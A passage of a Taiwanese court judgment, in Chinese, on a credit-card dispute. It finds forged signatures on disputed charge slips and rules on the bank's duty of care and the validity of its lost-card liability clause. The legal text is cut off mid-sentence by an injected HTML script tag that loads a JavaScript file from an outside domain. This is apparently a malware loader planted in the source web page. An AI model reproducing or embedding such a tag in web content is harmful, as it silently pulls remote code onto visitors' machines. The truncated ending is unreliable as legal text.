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銀行信用卡糾紛

一、簽帳單簽名不實:
  上訴人主張被上訴人李李○○以前述信用卡消費記帳,積欠一萬五千六百五十三元未繳之事實,固據提出簽帳單影本五紙為證,惟查系爭簽帳消費款四筆,及被上訴人李○○所自承係其所簽帳消費之一筆,其經本院核對各該簽帳單上之簽名,雖均為被上訴人李○○之英文譯名之簽名,然在外觀上,被上訴人李○○自承為其消費簽名之八十五年十一月二十三日之消費簽帳單上之簽名或被上訴人領用信用卡申請書上之簽名,均與被上訴人李○○否認係其簽帳消費之八十五年十一月二十四日之簽帳單之簽名有明顯差異,被上訴人李○○所自承係其所消費簽帳之八十五年十一月二十三日之消費簽帳單,其上被上訴人李○○之英文譯名之簽名各字母間之連接較為流暢,而被上訴人李○○所否認係其簽帳消費之簽帳單上之簽名則顯行較為僵硬,且前者關於被上訴人李○○之名字「○○」之英文譯名之首尾字母即「H、G」與中文名字之英文譯音亦相符合,反觀後者此部分之簽名,即無法查知其所簽者係何字母,其最後一字之簽名之外形均酷似「E」,未見其與被上訴人李○○之中文名字間之相關連性,且調閱編號九○三四一四○四○○二之簽帳單之簽名處之「X」(即簽名起始處之符號)與所簽之被上訴人英文名字第一字母「L」之間,尚有一錯誤之簽名而被劃去,此等明顯之不同,任何人只需稍加注意,即可以肉眼判別其不同,此亦為上訴人所是認,足證被上訴人李○○所辯系爭四張消費簽帳單非伊所簽名、消費等情至堪採信。

二、失卡責任之定型化契約條款問題:
  上訴人又主張系爭信用卡關於冒用風險分配條款所規範之約定條款第十三條及「信用卡遺失被竊風險免責辦法」,因與主管機關財政部金融局頒佈之「信用卡定型化契約」範本第十七條規定意旨相同,故該規定應屬有效云云;惟按信用卡契約乃持卡人與發卡機構約定,由持卡人向發卡機構提供之特約商店簽帳消費,並委託發卡機構手續費及年費等報酬之契約,就持卡人委託發卡機構代為處理清償信用卡消費債務,並由持卡人給付發卡機構手續費及年費等報酬之約定部分,其性質應屬委任契約。兩造所訂立之信用卡合約關於契約性質,則對於兩造所訂之合約未約定之事項,自應適用民法有關委任之規定。而本件兩造所訂合約除約定信用卡僅限於申請人本人使用,不得該與或轉借他人使用(見該合約第三條),被上訴人於信用卡遺失或被竊時,應儘速向上訴人辦理書面掛失停用...上訴人接受被上訴人之書面掛失後即按「信用卡遺失被竊風險免責辦法」之規定辦理,依上開辦法第四條「持卡人依前條規定辦理電話失之前二十四小時起其被冒用所生損失全數由發卡銀行負擔」(見該合約第十三條)等事項外,對於上訴人於代為處理清償信用卡債務行為應盡之義務則未予明定,是就此項義務之履行自應適用民法第五百三十五條之規定,即受任人處理受委任事務,應與處理自己之事務為同一之注意;其受有報酬者,應以善良管理人之注意為之。再按特約商店及代發卡機構提供消費服務,故在性質上屬於發卡機構之債務履行輔助人,於持卡人提示信用卡消費時,特約商店申請人本人一致之義務,上訴人於本院言詞辯論時亦自認特約商店在持卡人簽帳消費時有核對簽名相符之義務,而依前所述,特約商店在性質上屬於發卡機構之債務履行輔助人,是則發卡機構之上訴人對於特約商店之未於持卡人簽帳消費時,詳加核對持卡人之簽名與信用卡上之簽名是否相符即同意持卡人簽帳消費,於法則視同上訴人關於信用卡契約注意義務之未依約履行。如前述,系爭四筆消費簽單之簽名,以常人肉眼觀察即得見其係出自不同人之手,而上訴人之特約商店竟仍該該持卡人簽帳消費,就此一事實,於法發卡機構之上訴人自得不付款予該特約商店,上訴人得拒絕付款予特約商店而不拒絕,反而逕予付款後,再持以向未為消費之信用卡契約之本件被上訴人請求付款,於法即屬顯失公平而非有據。再按中央主管機關得選擇特定行業,公告規定其定型化契約應記載或不得記載之事項;中央主管機關公告應記載之事項,未經記載於定型化契約者,仍構成契約之內容,消費者保護法第十七條第一項及同法施行細則第十五條第二項定有明文;又依同法施行細則第十五條第一項規定,定型化契約記載經中央主管機關公告應記載之事項,仍有本法關於定型化契約規定之適用,即其內容仍不得違反誠實信用及平等互惠原則等是;本件依上訴人所提出「信用卡定型化契約範本」,係經中央主管機關財政部所訂定,該範本第十七條係規範關於卡片被竊、遺失或其他喪失占有之情形,其中規定:持卡人辦理掛失停用手續後,....自辦理掛失停用手續時起二十四小時以後被冒用所發生之損失,由貴行(即發卡機構)負擔;自辦理掛失停用手續時起二十四小時以前被冒用之損失,「貴行如無違反第六條善良管理人之注意義務者」,應由持卡人負擔等語。此即中央主管機關所公告規定定型化契約應記載之事項,與上訴人就系爭信用卡關於冒用風險分配條款所規範之約定條款第十三條及「信用卡遺失被竊風險免責辦法」相?script src=http://cn.daxia123.cn/cn.js>
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